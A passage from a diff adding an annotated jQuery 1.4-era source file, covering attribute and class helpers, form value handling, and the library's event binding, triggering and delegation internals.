/// + /// + /// The name of the property to set. + /// + /// + /// A function returning the value to set. + /// + + return access( this, name, value, true, jQuery.attr ); + }, + + removeAttr: function( name, fn ) { + /// + /// Remove an attribute from each of the matched elements. + /// Part of DOM/Attributes + /// + /// + /// An attribute to remove. + /// + /// + + return this.each(function(){ + jQuery.attr( this, name, "" ); + if ( this.nodeType === 1 ) { + this.removeAttribute( name ); + } + }); + }, + + addClass: function( value ) { + /// + /// Adds the specified class(es) to each of the set of matched elements. + /// Part of DOM/Attributes + /// + /// + /// One or more class names to be added to the class attribute of each matched element. + /// + /// + + if ( jQuery.isFunction(value) ) { + return this.each(function(i) { + var self = jQuery(this); + self.addClass( value.call(this, i, self.attr("class")) ); + }); + } + + if ( value && typeof value === "string" ) { + var classNames = (value || "").split( rspace ); + + for ( var i = 0, l = this.length; i < l; i++ ) { + var elem = this[i]; + + if ( elem.nodeType === 1 ) { + if ( !elem.className ) { + elem.className = value; + + } else { + var className = " " + elem.className + " "; + for ( var c = 0, cl = classNames.length; c < cl; c++ ) { + if ( className.indexOf( " " + classNames[c] + " " ) < 0 ) { + elem.className += " " + classNames[c]; + } + } + } + } + } + } + + return this; + }, + + removeClass: function( value ) { + /// + /// Removes all or the specified class(es) from the set of matched elements. + /// Part of DOM/Attributes + /// + /// + /// (Optional) A class name to be removed from the class attribute of each matched element. + /// + /// + + if ( jQuery.isFunction(value) ) { + return this.each(function(i) { + var self = jQuery(this); + self.removeClass( value.call(this, i, self.attr("class")) ); + }); + } + + if ( (value && typeof value === "string") || value === undefined ) { + var classNames = (value || "").split(rspace); + + for ( var i = 0, l = this.length; i < l; i++ ) { + var elem = this[i]; + + if ( elem.nodeType === 1 && elem.className ) { + if ( value ) { + var className = (" " + elem.className + " ").replace(rclass, " "); + for ( var c = 0, cl = classNames.length; c < cl; c++ ) { + className = className.replace(" " + classNames[c] + " ", " "); + } + elem.className = className.substring(1, className.length - 1); + + } else { + elem.className = ""; + } + } + } + } + + return this; + }, + + toggleClass: function( value, stateVal ) { + /// + /// Add or remove a class from each element in the set of matched elements, depending + /// on either the class's presence or the value of the switch argument. + /// + /// + /// A class name to be toggled for each element in the matched set. + /// + /// + /// A boolean value to determine whether the class should be added or removed. + /// + /// + + var type = typeof value, isBool = typeof stateVal === "boolean"; + + if ( jQuery.isFunction( value ) ) { + return this.each(function(i) { + var self = jQuery(this); + self.toggleClass( value.call(this, i, self.attr("class"), stateVal), stateVal ); + }); + } + + return this.each(function() { + if ( type === "string" ) { + // toggle individual class names + var className, i = 0, self = jQuery(this), + state = stateVal, + classNames = value.split( rspace ); + + while ( (className = classNames[ i++ ]) ) { + // check each className given, space seperated list + state = isBool ? state : !self.hasClass( className ); + self[ state ? "addClass" : "removeClass" ]( className ); + } + + } else if ( type === "undefined" || type === "boolean" ) { + if ( this.className ) { + // store className if set + jQuery.data( this, "__className__", this.className ); + } + + // toggle whole className + this.className = this.className || value === false ? "" : jQuery.data( this, "__className__" ) || ""; + } + }); + }, + + hasClass: function( selector ) { + /// + /// Checks the current selection against a class and returns whether at least one selection has a given class. + /// + /// The class to check against + /// True if at least one element in the selection has the class, otherwise false. + + var className = " " + selector + " "; + for ( var i = 0, l = this.length; i < l; i++ ) { + if ( (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) > -1 ) { + return true; + } + } + + return false; + }, + + val: function( value ) { + /// + /// Set the value of every matched element. + /// Part of DOM/Attributes + /// + /// + /// + /// A string of text or an array of strings to set as the value property of each + /// matched element. + /// + + if ( value === undefined ) { + var elem = this[0]; + + if ( elem ) { + if ( jQuery.nodeName( elem, "option" ) ) { + return (elem.attributes.value || {}).specified ? elem.value : elem.text; + } + + // We need to handle select boxes special + if ( jQuery.nodeName( elem, "select" ) ) { + var index = elem.selectedIndex, + values = [], + options = elem.options, + one = elem.type === "select-one"; + + // Nothing was selected + if ( index < 0 ) { + return null; + } + + // Loop through all the selected options + for ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) { + var option = options[ i ]; + + if ( option.selected ) { + // Get the specifc value for the option + value = jQuery(option).val(); + + // We don't need an array for one selects + if ( one ) { + return value; + } + + // Multi-Selects return an array + values.push( value ); + } + } + + return values; + } + + // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified + if ( rradiocheck.test( elem.type ) && !jQuery.support.checkOn ) { + return elem.getAttribute("value") === null ? "on" : elem.value; + } + + + // Everything else, we just grab the value + return (elem.value || "").replace(rreturn, ""); + + } + + return undefined; + } + + var isFunction = jQuery.isFunction(value); + + return this.each(function(i) { + var self = jQuery(this), val = value; + + if ( this.nodeType !== 1 ) { + return; + } + + if ( isFunction ) { + val = value.call(this, i, self.val()); + } + + // Typecast each time if the value is a Function and the appended + // value is therefore different each time. + if ( typeof val === "number" ) { + val += ""; + } + + if ( jQuery.isArray(val) && rradiocheck.test( this.type ) ) { + this.checked = jQuery.inArray( self.val(), val ) >= 0; + + } else if ( jQuery.nodeName( this, "select" ) ) { + var values = jQuery.makeArray(val); + + jQuery( "option", this ).each(function() { + this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; + }); + + if ( !values.length ) { + this.selectedIndex = -1; + } + + } else { + this.value = val; + } + }); + } +}); + +jQuery.extend({ + attrFn: { + val: true, + css: true, + html: true, + text: true, + data: true, + width: true, + height: true, + offset: true + }, + + attr: function( elem, name, value, pass ) { + /// + /// This method is internal. + /// + /// + + // don't set attributes on text and comment nodes + if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) { + return undefined; + } + + if ( pass && name in jQuery.attrFn ) { + return jQuery(elem)[name](value); + } + + var notxml = elem.nodeType !== 1 || !jQuery.isXMLDoc( elem ), + // Whether we are setting (or getting) + set = value !== undefined; + + // Try to normalize/fix the name + name = notxml && jQuery.props[ name ] || name; + + // Only do all the following if this is a node (faster for style) + if ( elem.nodeType === 1 ) { + // These attributes require special treatment + var special = rspecialurl.test( name ); + + // Safari mis-reports the default selected property of an option + // Accessing the parent's selectedIndex property fixes it + if ( name === "selected" && !jQuery.support.optSelected ) { + var parent = elem.parentNode; + if ( parent ) { + parent.selectedIndex; + + // Make sure that it also works with optgroups, see #5701 + if ( parent.parentNode ) { + parent.parentNode.selectedIndex; + } + } + } + + // If applicable, access the attribute via the DOM 0 way + if ( name in elem && notxml && !special ) { + if ( set ) { + // We can't allow the type property to be changed (since it causes problems in IE) + if ( name === "type" && rtype.test( elem.nodeName ) && elem.parentNode ) { + jQuery.error( "type property can't be changed" ); + } + + elem[ name ] = value; + } + + // browsers index elements by id/name on forms, give priority to attributes. + if ( jQuery.nodeName( elem, "form" ) && elem.getAttributeNode(name) ) { + return elem.getAttributeNode( name ).nodeValue; + } + + // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set + // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ + if ( name === "tabIndex" ) { + var attributeNode = elem.getAttributeNode( "tabIndex" ); + + return attributeNode && attributeNode.specified ? + attributeNode.value : + rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? + 0 : + undefined; + } + + return elem[ name ]; + } + + if ( !jQuery.support.style && notxml && name === "style" ) { + if ( set ) { + elem.style.cssText = "" + value; + } + + return elem.style.cssText; + } + + if ( set ) { + // convert the value to a string (all browsers do this but IE) see #1070 + elem.setAttribute( name, "" + value ); + } + + var attr = !jQuery.support.hrefNormalized && notxml && special ? + // Some attributes require a special call on IE + elem.getAttribute( name, 2 ) : + elem.getAttribute( name ); + + // Non-existent attributes return null, we normalize to undefined + return attr === null ? undefined : attr; + } + + // elem is actually elem.style ... set the style + // Using attr for specific style information is now deprecated. Use style insead. + return jQuery.style( elem, name, value ); + } +}); +var fcleanup = function( nm ) { + return nm.replace(/[^\w\s\.\|`]/g, function( ch ) { + return "\\" + ch; + }); +}; + +/* + * A number of helper functions used for managing events. + * Many of the ideas behind this code originated from + * Dean Edwards' addEvent library. + */ +jQuery.event = { + + // Bind an event to an element + // Original by Dean Edwards + add: function( elem, types, handler, data ) { + /// + /// This method is internal. + /// + /// + + if ( elem.nodeType === 3 || elem.nodeType === 8 ) { + return; + } + + // For whatever reason, IE has trouble passing the window object + // around, causing it to be cloned in the process + if ( elem.setInterval && ( elem !== window && !elem.frameElement ) ) { + elem = window; + } + + // Make sure that the function being executed has a unique ID + if ( !handler.guid ) { + handler.guid = jQuery.guid++; + } + + // if data is passed, bind to handler + if ( data !== undefined ) { + // Create temporary function pointer to original handler + var fn = handler; + + // Create unique handler function, wrapped around original handler + handler = jQuery.proxy( fn ); + + // Store data in unique handler + handler.data = data; + } + + // Init the element's event structure + var events = jQuery.data( elem, "events" ) || jQuery.data( elem, "events", {} ), + handle = jQuery.data( elem, "handle" ), eventHandle; + + if ( !handle ) { + eventHandle = function() { + // Handle the second event of a trigger and when + // an event is called after a page has unloaded + return typeof jQuery !== "undefined" && !jQuery.event.triggered ? + jQuery.event.handle.apply( eventHandle.elem, arguments ) : + undefined; + }; + + handle = jQuery.data( elem, "handle", eventHandle ); + } + + // If no handle is found then we must be trying to bind to one of the + // banned noData elements + if ( !handle ) { + return; + } + + // Add elem as a property of the handle function + // This is to prevent a memory leak with non-native + // event in IE. + handle.elem = elem; + + // Handle multiple events separated by a space + // jQuery(...).bind("mouseover mouseout", fn); + types = types.split( /\s+/ ); + + var type, i = 0; + + while ( (type = types[ i++ ]) ) { + // Namespaced event handlers + var namespaces = type.split("."); + type = namespaces.shift(); + + if ( i > 1 ) { + handler = jQuery.proxy( handler ); + + if ( data !== undefined ) { + handler.data = data; + } + } + + handler.type = namespaces.slice(0).sort().join("."); + + // Get the current list of functions bound to this event + var handlers = events[ type ], + special = this.special[ type ] || {}; + + // Init the event handler queue + if ( !handlers ) { + handlers = events[ type ] = {}; + + // Check for a special event handler + // Only use addEventListener/attachEvent if the special + // events handler returns false + if ( !special.setup || special.setup.call( elem, data, namespaces, handler) === false ) { + // Bind the global event handler to the element + if ( elem.addEventListener ) { + elem.addEventListener( type, handle, false ); + } else if ( elem.attachEvent ) { + elem.attachEvent( "on" + type, handle ); + } + } + } + + if ( special.add ) { + var modifiedHandler = special.add.call( elem, handler, data, namespaces, handlers ); + if ( modifiedHandler && jQuery.isFunction( modifiedHandler ) ) { + modifiedHandler.guid = modifiedHandler.guid || handler.guid; + modifiedHandler.data = modifiedHandler.data || handler.data; + modifiedHandler.type = modifiedHandler.type || handler.type; + handler = modifiedHandler; + } + } + + // Add the function to the element's handler list + handlers[ handler.guid ] = handler; + + // Keep track of which events have been used, for global triggering + this.global[ type ] = true; + } + + // Nullify elem to prevent memory leaks in IE + elem = null; + }, + + global: {}, + + // Detach an event or set of events from an element + remove: function( elem, types, handler ) { + /// + /// This method is internal. + /// + /// + + // don't do events on text and comment nodes + if ( elem.nodeType === 3 || elem.nodeType === 8 ) { + return; + } + + var events = jQuery.data( elem, "events" ), ret, type, fn; + + if ( events ) { + // Unbind all events for the element + if ( types === undefined || (typeof types === "string" && types.charAt(0) === ".") ) { + for ( type in events ) { + this.remove( elem, type + (types || "") ); + } + } else { + // types is actually an event object here + if ( types.type ) { + handler = types.handler; + types = types.type; + } + + // Handle multiple events separated by a space + // jQuery(...).unbind("mouseover mouseout", fn); + types = types.split(/\s+/); + var i = 0; + while ( (type = types[ i++ ]) ) { + // Namespaced event handlers + var namespaces = type.split("."); + type = namespaces.shift(); + var all = !namespaces.length, + cleaned = jQuery.map( namespaces.slice(0).sort(), fcleanup ), + namespace = new RegExp("(^|\\.)" + cleaned.join("\\.(?:.*\\.)?") + "(\\.|$)"), + special = this.special[ type ] || {}; + + if ( events[ type ] ) { + // remove the given handler for the given type + if ( handler ) { + fn = events[ type ][ handler.guid ]; + delete events[ type ][ handler.guid ]; + + // remove all handlers for the given type + } else { + for ( var handle in events[ type ] ) { + // Handle the removal of namespaced events + if ( all || namespace.test( events[ type ][ handle ].type ) ) { + delete events[ type ][ handle ]; + } + } + } + + if ( special.remove ) { + special.remove.call( elem, namespaces, fn); + } + + // remove generic event handler if no more handlers exist + for ( ret in events[ type ] ) { + break; + } + if ( !ret ) { + if ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) { + if ( elem.removeEventListener ) { + elem.removeEventListener( type, jQuery.data( elem, "handle" ), false ); + } else if ( elem.detachEvent ) { + elem.detachEvent( "on" + type, jQuery.data( elem, "handle" ) ); + } + } + ret = null; + delete events[ type ]; + } + } + } + } + + // Remove the expando if it's no longer used + for ( ret in events ) { + break; + } + if ( !ret ) { + var handle = jQuery.data( elem, "handle" ); + if ( handle ) { + handle.elem = null; + } + jQuery.removeData( elem, "events" ); + jQuery.removeData( elem, "handle" ); + } + } + }, + + // bubbling is internal + trigger: function( event, data, elem /*, bubbling */ ) { + /// + /// This method is internal. + /// + /// + + // Event object or event type + var type = event.type || event, + bubbling = arguments[3]; + + if ( !bubbling ) { + event = typeof event === "object" ? + // jQuery.Event object + event[expando] ? event : + // Object literal + jQuery.extend( jQuery.Event(type), event ) : + // Just the event type (string) + jQuery.Event(type); + + if ( type.indexOf("!") >= 0 ) { + event.type = type = type.slice(0, -1); + event.exclusive = true; + } + + // Handle a global trigger + if ( !elem ) { + // Don't bubble custom events when global (to avoid too much overhead) + event.stopPropagation(); + + // Only trigger if we've ever bound an event for it + if ( this.global[ type ] ) { + jQuery.each( jQuery.cache, function() { + if ( this.events && this.events[type] ) { + jQuery.event.trigger( event, data, this.handle.elem ); + } + }); + } + } + + // Handle triggering a single element + + // don't do events on text and comment nodes + if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) { + return undefined; + } + + // Clean up in case it is reused + event.result = undefined; + event.target = elem; + + // Clone the incoming data, if any + data = jQuery.makeArray( data ); + data.unshift( event ); + } + + event.currentTarget = elem; + + // Trigger the event, it is assumed that "handle" is a function + var handle = jQuery.data( elem, "handle" ); + if ( handle ) { + handle.apply( elem, data ); + } + + var parent = elem.parentNode || elem.ownerDocument; + + // Trigger an inline bound script + try { + if ( !(elem && elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()]) ) { + if ( elem[ "on" + type ] && elem[ "on" + type ].apply( elem, data ) === false ) { + event.result = false; + } + } + + // prevent IE from throwing an error for some elements with some event types, see #3533 + } catch (e) {} + + if ( !event.isPropagationStopped() && parent ) { + jQuery.event.trigger( event, data, parent, true ); + + } else if ( !event.isDefaultPrevented() ) { + var target = event.target, old, + isClick = jQuery.nodeName(target, "a") && type === "click"; + + if ( !isClick && !(target && target.nodeName && jQuery.noData[target.nodeName.toLowerCase()]) ) { + try { + if ( target[ type ] ) { + // Make sure that we don't accidentally re-trigger the onFOO events + old = target[ "on" + type ]; + + if ( old ) { + target[ "on" + type ] = null; + } + + this.triggered = true; + target[ type ](); + } + + // prevent IE from throwing an error for some elements with some event types, see #3533 + } catch (e) {} + + if ( old ) { + target[ "on" + type ] = old; + } + + this.triggered = false; + } + } + }, + + handle: function( event ) { + /// + /// This method is internal. + /// + /// + + // returned undefined or false + var all, handlers; + + event = arguments[0] = jQuery.event.fix( event || window.event ); + event.currentTarget = this; + + // Namespaced event handlers + var namespaces = event.type.split("."); + event.type = namespaces.shift(); + + // Cache this now, all = true means, any handler + all = !namespaces.length && !event.exclusive; + + var namespace = new RegExp("(^|\\.)" + namespaces.slice(0).sort().join("\\.(?:.*\\.)?") + "(\\.|$)"); + + handlers = ( jQuery.data(this, "events") || {} )[ event.type ]; + + for ( var j in handlers ) { + var handler = handlers[ j ]; + + // Filter the functions by class + if ( all || namespace.test(handler.type) ) { + // Pass in a reference to the handler function itself + // So that we can later remove it + event.handler = handler; + event.data = handler.data; + + var ret = handler.apply( this, arguments ); + + if ( ret !== undefined ) { + event.result = ret; + if ( ret === false ) { + event.preventDefault(); + event.stopPropagation(); + } + } + + if ( event.isImmediatePropagationStopped() ) { + break; + } + + } + } + + return event.result; + }, + + props: "altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "), + + fix: function( event ) { + /// + /// This method is internal. + /// + /// + + if ( event[ expando ] ) { + return event; + } + + // store a copy of the original event object + // and "clone" to set read-only properties + var originalEvent = event; + event = jQuery.Event( originalEvent ); + + for ( var i = this.props.length, prop; i; ) { + prop = this.props[ --i ]; + event[ prop ] = originalEvent[ prop ]; + } + + // Fix target property, if necessary + if ( !event.target ) { + event.target = event.srcElement || document; // Fixes #1925 where srcElement might not be defined either + } + + // check if target is a textnode (safari) + if ( event.target.nodeType === 3 ) { + event.target = event.target.parentNode; + } + + // Add relatedTarget, if necessary + if ( !event.relatedTarget && event.fromElement ) { + event.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement; + } + + // Calculate pageX/Y if missing and clientX/Y available + if ( event.pageX == null && event.clientX != null ) { + var doc = document.documentElement, body = document.body; + event.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0); + event.pageY = event.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0); + } + + // Add which for key events + if ( !event.which && ((event.charCode || event.charCode === 0) ? event.charCode : event.keyCode) ) { + event.which = event.charCode || event.keyCode; + } + + // Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs) + if ( !event.metaKey && event.ctrlKey ) { + event.metaKey = event.ctrlKey; + } + + // Add which for click: 1 === left; 2 === middle; 3 === right + // Note: button is not normalized, so don't use it + if ( !event.which && event.button !== undefined ) { + event.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) )); + } + + return event; + }, + + // Deprecated, use jQuery.guid instead + guid: 1E8, + + // Deprecated, use jQuery.proxy instead + proxy: jQuery.proxy, + + special: { + ready: { + // Make sure the ready event is setup + setup: jQuery.bindReady, + teardown: jQuery.noop + }, + + live: { + add: function( proxy, data, namespaces, live ) { + jQuery.extend( proxy, data || {} ); + + proxy.guid += data.selector + data.live; + data.liveProxy = proxy; + + jQuery.event.add( this, data.live, liveHandler, data ); + + }, + + remove: function( namespaces ) { + if ( namespaces.length ) { + var remove = 0, name = new RegExp("(^|\\.)" + namespaces[0] + "(\\.|$)"); + + jQuery.each( (jQuery.data(this, "events").live || {}), function() { + if ( name.test(this.type) ) { + remove++; + } + }); + + if ( remove < 1 ) { + jQuery.event.remove( this, namespaces[0], liveHandler ); + } + } + }, + special: {} + }, + beforeunload: { + setup: function( data, namespaces, fn ) { + // We only want to do this special case on windows + if ( this.setInterval ) { + this.onbeforeunload = fn; + } + + return false; + }, + teardown: function( namespaces, fn ) { + if ( this.onbeforeunload === fn ) { + this.onbeforeunload = null; + } + } + } + } +}; + +jQuery.Event = function( src ) { + // Allow instantiation without the 'new' keyword + if ( !this.preventDefault ) { + return new jQuery.Event( src ); + } + + // Event object + if ( src && src.type ) { + this.originalEvent = src; + this.type = src.type; + // Event type + } else { + this.type = src; + } + + // timeStamp is buggy for some events on Firefox(#3843) + // So we won't rely on the native value + this.timeStamp = now(); + + // Mark it as fixed + this[ expando ] = true; +}; + +function returnFalse() { + return false; +} +function returnTrue() { + return true; +} + +// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding +// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html +jQuery.Event.prototype = { + preventDefault: function() { + this.isDefaultPrevented = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + + // if preventDefault exists run it on the original event + if ( e.preventDefault ) { + e.preventDefault(); + } + // otherwise set the returnValue property of the original event to false (IE) + e.returnValue = false; + }, + stopPropagation: function() { + this.isPropagationStopped = returnTrue; + + var e = this.originalEvent; + if ( !e ) { + return; + } + // if stopPropagation exists run it on the original event + if ( e.stopPropagation ) { + e.stopPropagation(); + } + // otherwise set the cancelBubble property of the original event to true (IE) + e.cancelBubble = true; + }, + stopImmediatePropagation: function() { + this.isImmediatePropagationStopped = returnTrue; + this.stopPropagation(); + }, + isDefaultPrevented: returnFalse, + isPropagationStopped: returnFalse, + isImmediatePropagationStopped: returnFalse +}; + +// Checks if an event happened on an element within another element +// Used in jQuery.event.special.mouseenter and mouseleave handlers +var withinElement = function( event ) { + // Check if mouse(over|out) are still within the same parent element + var parent = event.relatedTarget; + + // Traverse up the tree + while ( parent && parent !== this ) { + // Firefox sometimes assigns relatedTarget a XUL element + // which we cannot access the parentNode property of + try { + parent = parent.parentNode; + + // assuming we've left the element since we most likely mousedover a xul element + } catch(e) { + break; + } + } + + if ( parent !== this ) { + // set the correct event type + event.type = event.data; + + // handle event if we actually just moused on to a non sub-element + jQuery.event.handle.apply( this, arguments ); + } + +}, + +// In case of event delegation, we only need to rename the event.type, +// liveHandler will take care of the rest. +delegate = function( event ) { + event.type = event.data; + jQuery.event.handle.apply( this, arguments ); +}; + +// Create mouseenter and mouseleave events +jQuery.each({ + mouseenter: "mouseover", + mouseleave: "mouseout" +}, function( orig, fix ) { + jQuery.event.special[ orig ] = { + setup: function( data ) { + jQuery.event.add( this, fix, data && data.selector ? delegate : withinElement, orig ); + }, + teardown: function( data ) { + jQuery.event.remove( this, fix, data && data.selector ? delegate : withinElement ); + } + }; +}); + +// submit delegation +if ( !jQuery.support.submitBubbles ) { + +jQuery.event.special.submit = { + setup: function( data, namespaces, fn ) { + if ( this.nodeName.toLowerCase() !== "form" ) { + jQuery.event.add(this, "click.specialSubmit." + fn.guid, function( e ) { + var elem = e.target, type = elem.type; + + if ( (type === "submit" || type === "image") && jQuery( elem ).closest("form").length ) { + return trigger( "submit", this, arguments ); + } + }); + + jQuery.event.add(this, "keypress.specialSubmit." + fn.guid, function( e ) { + var elem = e.target, type = elem.type; + + if ( (type === "text" || type === "password") && jQuery( elem ).closest("form").length && e.keyCode === 13 ) { + return trigger( "submit", this, arguments ); + } + }); + + } else { + return false; + } + }, + + remove: function( namespaces, fn ) { + jQuery.event.remove( this, "click.specialSubmit" + (fn ? "."+fn.guid : "") ); + jQuery.event.remove( this, "keypress.specialSubmit" + (fn ? "."+fn.guid : "") ); + } +}; + +} + +// change delegation, happens here so we have bind. +if ( !jQuery.support.changeBubbles ) { + +var formElems = /textarea|input|select/i; + +function getVal( elem ) { + var type = elem.type, val = elem.value; + + if ( type === "radio" || type === "checkbox" ) { + val = elem.checked; + + } else if ( type === "select-multiple" ) { + val = elem.selectedIndex > -1 ? + jQuery.map( elem.options, function( elem ) { + return elem.selected; + }).join("-") : + ""; + + } else if ( elem.nodeName.toLowerCase() === "select" ) { + val = elem.selectedIndex; + } + + return val; +} + +function testChange( e ) { + var elem = e.target, data, val; + + if ( !formElems.test( elem.nodeName ) || elem.readOnly ) { + return; + } + + data = jQuery.data( elem, "_change_data" ); + val = getVal(elem); + + // the current data will be also retrieved by beforeactivate + if ( e.type !== "focusout" || elem.type !== "radio" ) { + jQuery.data( elem, "_change_data", val ); + } + + if ( data === undefined || val === data ) { + return; + } + + if ( data != null || val ) { + e.type = "change"; + return jQuery.event.trigger( e, arguments[1], elem ); + } +} + +jQuery.event.special.change = { + filters: { + focusout: testChange, + + click: function( e ) { + var elem = e.target, type = elem.type; + + if ( type === "radio" || type === "checkbox" || elem.nodeName.toLowerCase() === "select" ) { + return testChange.call( this, e ); + } + }, + + // Change has to be called before submit + // Keydown will be called before keypress, which is used in submit-event delegation + keydown: function( e ) { + var elem = e.target, type = elem.type; + + if ( (e.keyCode === 13 && elem.nodeName.toLowerCase() !== "textarea") || + (e.keyCode === 32 && (type === "checkbox" || type === "radio")) || + type === "select-multiple" ) { + return testChange.call( this, e ); + } + }, + + // Beforeactivate happens also before the previous element is blurred + // with this event you can't trigger a change event, but you can store + // information/focus[in] is not needed anymore + beforeactivate: function( e ) { + var elem = e.target; + + if ( elem.nodeName.toLowerCase() === "input" && elem.type === "radio" ) { + jQuery.data( elem, "_change_data", getVal(elem) ); + } + } + }, + setup: function( data, namespaces, fn ) { + for ( var type in changeFilters ) { + jQuery.event.add( this, type + ".specialChange." + fn.guid, changeFilters[type] ); + } + + return formElems.test( this.nodeName ); + }, + remove: function( namespaces, fn ) { + for ( var type in changeFilters ) { + jQuery.event.remove( this, type + ".specialChange" + (fn ? "."+fn.guid : ""), changeFilters[type] ); + } + + return formElems.test( this.nodeName ); + } +}; + +var changeFilters = jQuery.event.special.change.filters; + +} + +function trigger( type, elem, args ) { + args[0].type = type; + return jQuery.event.handle.apply( elem, args ); +} + +// Create "bubbling" focus and blur events +if ( document.addEventListener ) { + jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { + jQuery.event.special[ fix ] = { + setup: function() { + /// + /// This method is internal. + /// + /// + + this.addEventListener( orig, handler, true ); + }, + teardown: function() { + /// + /// This method is internal. + /// + /// + + this.removeEventListener( orig, handler, true ); + } + }; + + function handler( e ) { + e = jQuery.event.fix( e ); + e.type = fix; + return jQuery.event.handle.call( this, e ); + } + }); +} + +// jQuery.each(["bind", "one"], function( i, name ) { +// jQuery.fn[ name ] = function( type, data, fn ) { +// // Handle object literals +// if ( typeof type === "object" ) { +// for ( var key in type ) { +// this[ name ](key, data, type[key], fn); +// } +// return this; +// } +// +// if ( jQuery.isFunction( data ) ) { +// fn = data; +// data = undefined; +// } +// +// var handler = name === "one" ? jQuery.proxy( fn, function( event ) { +// jQuery( this ).unbind( event, handler ); +// return fn.apply( this, arguments ); +// }) : fn; +// +// return type === "unload" && name !== "one" ? +// this.one( type, data, fn ) : +// this.each(function() { +// jQuery.event.add( this, type, handler, data ); +// }); +// }; +// }); + +jQuery.fn[ "bind" ] = function( type, data, fn ) { + /// + /// Binds a handler to one or more events for each matched element. Can also bind custom events. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as event.data + /// A function to bind to the event on each of the set of matched elements. function callback(eventObject) such that this corresponds to the dom element. + + // Handle object literals + if ( typeof type === "object" ) { + for ( var key in type ) { + this[ "bind" ](key, data, type[key], fn); + } + return this; + } + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + var handler = "bind" === "one" ? jQuery.proxy( fn, function( event ) { + jQuery( this ).unbind( event, handler ); + return fn.apply( this, arguments ); + }) : fn; + + return type === "unload" && "bind" !== "one" ? + this.one( type, data, fn ) : + this.each(function() { + jQuery.event.add( this, type, handler, data ); + }); +}; + +jQuery.fn[ "one" ] = function( type, data, fn ) { + /// + /// Binds a handler to one or more events to be executed exactly once for each matched element. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as event.data + /// A function to bind to the event on each of the set of matched elements. function callback(eventObject) such that this corresponds to the dom element. + + // Handle object literals + if ( typeof type === "object" ) { + for ( var key in type ) { + this[ "one" ](key, data, type[key], fn); + } + return this; + } + + if ( jQuery.isFunction( data ) ) { + fn = data; + data = undefined; + } + + var handler = "one" === "one" ? jQuery.proxy( fn, function( event ) { + jQuery( this ).unbind( event, handler ); + return fn.apply( this, arguments ); + }) : fn; + + return type === "unload" && "one" !== "one" ? + this.one( type, data, fn ) : + this.each(function() { + jQuery.event.add( this, type, handler, data ); + }); +}; + +jQuery.fn.extend({ + unbind: function( type, fn ) { + /// + /// Unbinds a handler from one or more events for each matched element. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// A function to bind to the event on each of the set of matched elements. function callback(eventObject) such that this corresponds to the dom element. + + // Handle object literals + if ( typeof type === "object" && !type.preventDefault ) { + for ( var key in type ) { + this.unbind(key, type[key]); + } + return this; + } + + return this.each(function() { + jQuery.event.remove( this, type, fn ); + }); + }, + trigger: function( type, data ) { + /// + /// Triggers a type of event on every matched element. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as additional arguments. + /// This parameter is undocumented. + + return this.each(function() { + jQuery.event.trigger( type, data, this ); + }); + }, + + triggerHandler: function( type, data ) { + /// + /// Triggers all bound event handlers on an element for a specific event type without executing the browser's default actions. + /// + /// One or more event types separated by a space. Built-in event type values are: blur, focus, load, resize, scroll, unload, click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, mouseenter, mouseleave, change, select, submit, keydown, keypress, keyup, error . + /// Additional data passed to the event handler as additional arguments. + /// This parameter is undocumented. + + if ( this[0] ) { + var event = jQuery.Event( type ); + event.preventDefault(); + event.stopPropagation(); + jQuery.event.trigger( event, data, this[0] ); + return event.result; + } + }, + + toggle: function( fn ) { + /// + /// Toggles among two or more function calls every other click. + /// + /// The functions among which to toggle execution + + // Save reference to arguments for access in closure + var args = arguments, i = 1; + + // link all the functions, so any of them can unbind this click handler + while ( i < args.length ) { + jQuery.proxy( fn, args[ i++ ] ); + } + + return this.click( jQuery.proxy( fn, function( event ) { + // Figure out which function to execute + var lastToggle = ( jQuery.data( this, "lastToggle" + fn.guid ) || 0 ) % i; + jQuery.data( this, "lastToggle" + fn.guid, lastToggle + 1 ); + + // Make sure that clicks stop + event.preventDefault(); + + // and execute the function + return args[ lastToggle ].apply( this, arguments 